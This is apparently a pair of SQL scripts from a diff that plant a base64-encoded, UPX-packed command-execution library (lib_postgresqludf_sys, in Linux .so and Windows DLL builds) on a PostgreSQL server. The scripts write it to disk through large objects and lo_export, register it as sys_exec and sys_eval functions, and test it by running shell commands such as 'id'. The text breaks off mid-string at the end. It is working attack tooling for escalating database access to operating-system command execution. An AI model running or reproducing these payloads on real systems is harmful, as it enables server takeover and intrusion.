data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
-- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
-- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
--
-- Notes:
-- If the library file already exists and the postgres user has write
-- access over it, it can overwrite the file
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so
-- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
-- The following would save into / (Permission denied)
-- SELECT lo_export(35817, '/lib_postgresqludf_sys.so');
-- Create two functions from the binary UDF file
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_postgresqludf_sys.txt'); -- -rw------- 1 postgres postgres
SELECT sys_eval('cat /tmp/lib_postgresqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@ -0,0 +1,104 @@
-- Notes:
--
-- The DLL compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- DLL compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- DLL compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.dll: 8192 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_postgresqludf_sys.dll: 6144 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- DLL compiled using PostgreSQL 8.3 C libraries
INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMA+iGDSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCcR4kqVtpBAFE1UAABYLAAAAIAAAJgAAnUB2Sf64AAAQ+MPMDxEM/9/+f1NVi2wkDItFEFZXUOgbAeaL2Iszwe4Cg+4Ef/ff/Y1OAVH/FT+MVo1TBIv4UlcgCpBXxgQ3APd/7GMXhFeL8AiUg8QcO10QdAlTQkDO/tvsDQRfi8ZeXVvDbxC6/7Z9gewIBBKhAiAAM8SJhCQEDYtvsvbZBgxAEI2GLXi8fcBudIs3jNVWg8eI2FdTbXfZjmoBiTPVaGIUU4q79tvYM/+MiCBTjVQkOBZTUon/9m3sXCQ8FnyVLIXAdMpEJBSNUAGKG2tv/whAhMl1+SvCLY0sO3YjeETdH/tuUx8gUAP+VxCAi0wkJFFNLO3lsCeL/UsgdbSLXP67sbMQqFMXkPmAPgB0BcZEN/+69gPbz8Zng8AEUKvQxj6Ze+ckGI2kJAAAH40EhRDH/oXtD4kHNlCNTwRWUe+LjLD5gmuZhF0Mi8dfM8zWXTj8KfKBxFFi/yWBqAX92z88pDsNYHUC88PpCAWvi/9WaIAXYmXMXORw7a5ZWd3/f5ejI1gEVIX2dQUzwEBew4MmAFYHtit83X1oBKcJZnKpBrkLe6O1NlkjIk407FFRCv8Ku385RQx1DjkFaxB+ZXMQg30Mu4XG3QGLCRBIiw3MiQojSC3stu4PhdR9ZBcYBot5wjW7dnfbICiJPVC7HlDrGEqnBHJw';
UPDATE udftest SET data=data||'4cH+O8d0F2joA6gsagDp/9bwrtveaOfrB8csATyhL0xqAl797d7dyQlqH5IJJus8qhDABLjHBbOufe8fKBog4CcHXOP9+75vILQEsBsaWYk1KzR3f+52WTmydQhpczA5PRVcdBxW+tu9aAYoCFxDDf91IAPDF9veCCMW//FUbAHsjzU33AgBodt4BINl/ADfJBPZ2dsP1PxvbLD2g/gCZtJZW/+gvBm2sVhLUDFZLjUPhIfXHO07xxlUE00UGNjGt38QiX0Ig+8EO8hyUYM/f/NqmG3tt5wHdOn/NyYg+BBmbbbQXLn4VhVE1rjj9htHTfhVOU0QA9C7bVv7CHS0iQkCDBoIYOun9ogxO2kM5FlELoXtK8Q4WAZMMvw//g1HkFBDm1vJwgwAahBzf3sbQxIo0MT5i/KLXQgcVOFld3vkM8lc/Il9IAj8O/FaP7YWYzk6RBfkr2g728Kb//B0BYP+AnUuoew7wXSeVl/QzizccDte5AADkxFO9uB2WgJQFBaAEgkyzloN/yf+AXUkZCBOE1fXEJsVdy9S0gYRDftrtFP3agN1Q09hhz3bNAMhaHQuLCV/8bZw4esbceyLFwmq4FBRtMKl8mQsEGXo9i/brm04+tL+/wAZBYEq5KSuPX4hncOW7Bb/O3B8hdMkahvWVDO8u1V9RFUMDQR2WV04ItpQLhAnKANfISBzc/NmQwUciRUYiR0UiTU023dzEIk9DGaMGDgGDSyzNEuzHQgFBCWsfXdLAC1//JyPFDCVVvbPn20kBwQojUUINIuF4Pygrp2NsapwlQEcGWNs69ggJBMYCWXACRyzls/dNWCJhdgyCgTcKvCNYQMUNGidBqcz/rRsWWr3GHkt77D2fRyDPSAA+SNoW9NjBWIbegYkycOAkY8L30Aecl9qFEpQ9FhISRWq+KLG4fefnBBkWetnagg3hFmP7dYdkhsnNVk04PXzHW6FvwPkUH9LdIytbT9gCn4c3BQs1uK0VypbCeAb0jpnk+Ul2wdd3Gx4/u/c';
UPDATE udftest SET data=data||'hFnZThYGwffYG8D32FlIXX/p221WuLwYvgRXUDvGcw+LB/QOGh1TAlDNO/5y8SnkOawwJSAg7RsxEz9lMQi4TVoql39X+mY5AXQEVGRBPAPBgThQRXXviRv8+zPSuQsBHEgYD5Tfwl1+35qGLT/ZSDHID7dBDbbbEjhWBXEGM1f4b43G0ggYDXbgnBwMO/nab/D/cgmLWAgD2Tv7cgpCvCg71nLoag+H7JnbTk9q/p9w8wUcm2i1ZA7+UIPsCN1wawwlMWIzxWzwZKMLn6H0GoksSAloS/CuMzEGbMwS61WXNMvDvi0TUBkIDAg7QbjwWxskwegf9wvgAYW77dQKA08ZAFmUi+Xr2E5qlpkByj2lwPqyFuwUmS+7MSNjJ7EzPAVARPlxSSNMpRKsEOw7uQ5jCWEQxab7CwOPWe9W+TbLNttSkGwDjSvg+lgDzZn88Tyq/Ipgk2Agcw3DlQ4O42yWUUoUdT50uxnaaQH2BCAUCopW7PdYGFij7BBofjQH/8j4U1e/TuZAu3pmU6HEHXgNhcMnNZBiUmvxBOtg+3hfC8VaW4F1mJILh/DmyiBjBzQInSf9re1oGPQzDBE793UHvk8IfBffWesLhfN1o8HgEAvwxCOUPvYA99YHBF5fW7Y/mCMjI2MFnFhcYAKyIyNoVAAAlAp5AAIFALPsPmqpwRQRIwNkaAZpugNAAXJI/36JMn1REhBLUlNEU/9///9ie5Q0/rQnQb7gu040vsrDF0M6XERvY3VtZW50/9v//3MgYW5kIFNldHRpbmdzXEFkbQdpc3RyYXRvci63t/b/VzJLM1NURU5VUERBBjNlc2sWcFzt/9/+c2hhcmVcdiZ1YWxfY3BwX3Byb2plY3Q+2/+2/GxpYl9wb2cfc3FsdWRmX3N5FVLDfoH9ZWxlYXNlHS5wZGLRfC8WyLUZlwfQYF0lmw/HhQdOyWHdUQNlJ8wHYXQn7MAP2B8I6wP/IAABSfBBqSDKIiIBZt8NsRm/RP8Ag1EGjKpgApIYBVBU';
UPDATE udftest SET data=data||'gC0oFP8vzxR4EAFHZXRDdXJyZW50//+R/1Byb2Nlc3NJZFN5c3RlbVRpbWVBc0ZpbGWt/RZ7CRgIY2tDb3UvDYu1v/1RdWVyeVADZm9ybWFuPBYO/Vv3WxhEaXNhYjNoV2FkTGlicmFW/m+/J0NhbGxzb0lzRGVidWdnZXJt2/ayuXZUU1VuaEBkMWRhMffbRXhGcHRpb25zShmgbSlbuRJUF99kbQlEYR4RSZBsc9utbQxrQJ1tcIdlR1GEteaaf3dVUSLCbNmyG1zEFXd7moUzhTxfY2l0NG3fDVhtCl80X2Ftc2cIeO9+4a8RC2RqdUJfZmRpdg1fQ3BwQPvD2lhjv7xfZGVjbwNtYcISlGkyXW0e1t4ruHkYQosy9QlMFizYbk0TD2Xt9gkjDV8bcjRfTG1tHGbX/n0YbldkX251PURtYdzCxrZjHnI0bnPY3Qzb9h0IZvJ0LK5ybrnbO4yEc/zdKnBlVeYK7ZtFD2MHtDA6twnOve9WyM6Lb29D+9ZitiJWbl90eTkctlBoDRqJFYpfcnuahS0KbEaRpHBFuODePXBnQ3RvYXNLunVt///PAlYQMBgJHxYjKgsXJBEXEQeCBgb2////FwkHBRYMHggKCxYJGBgVBQYbBQwQBgcXBiEFEQ++/2//BhQhEQsIKyIFBw0RHQ0YUy1IOAYAB9u+XU4IDAkzCgkLDFsFFr/922UWDgs0FQsYFg09BUK4BRIeFGub/90GaTIRDA4dTQUXIw0MJAgkAFPB/x/wJgY0BGAE6AgEHBwEAFL5D6t/TAEFAPohg0k04AACIQsBCcDsN2kMWwCQFQsz971HGgkLAt4e36X5ZgcDYATbzx5Ae7bsvQEqAgcGcCYHs33LZriMIlAUQE+wNdubMgBQn3fQHGWxA1nVGCFCAJsfSLovsC50ZXh0mgoestlgkAy3QmAucgmD3BrLYfsoBwgTfa85bAJALib+A23KTtOUMAInwE/7XrDGc3KA67BzGk9ujkYAUqlPjAFvSgZpUB5C';
UPDATE udftest SET data=data||'GwDgk9uMIxKhUlMAAAAAAAAAAACQ/wAAAAAAAAAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOmnmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAAD5IYNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAgBAAABAQAACQEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- DLL compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD12MHTsbmvgLG5r4Cxua+AuME8gLO5r4C4wTqAsLmvgLjBLIC/ua+AuMErgLO5r4CWf9SAtLmvgLG5roCYua+AuMEmgLC5r4C4wT2AsLmvgLjBPoCwua+AUmljaLG5r4AAAAAAAAAAAFBFAABMAQMAUx6DSQAAAAAAAAAA4AACIQsBCQAAEAAAABAAAABgAAAgewAAAHAAAACAAAAAAAAQABAAAAACAAAFAAAAAAAAAAUAAAAAAAAAAJAAAAAQAAAAAAAAAgBAAQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAKyDAAC4AAAAtIIAAPgAAAAAgAAAtAIAAAAAAAAAAAAAAAAAAAAAAABkhAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7HwAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAABAAAABwAAAADgAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAgAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wMwBVUFghDQkCCXeP6gEDsfuvE1UAABwLAAAAIAAAJgAAXkB2Sf64AAAQ+MPMDxEM+9/+f1NVi2wkDItFEFZXUOgbAgKL2Iszgeb/AN1/938/g+4EjU4BUf8VQoxWjVMEi/hSVyMK/7GP/bBXxgQ3ABeEV4vwCJSDxBw7XRB0W/Zv3wlTRQgNBF+Lxl5dW2p/bfllLxDDEoHsCAShAu2zdf8gADPEiYQkBA2LBgxAEJ2F3d5kli2FgYs3nLIdefvVVoPHmNhXU2oBmTO3sdvu1WhlFFOaM/+ciC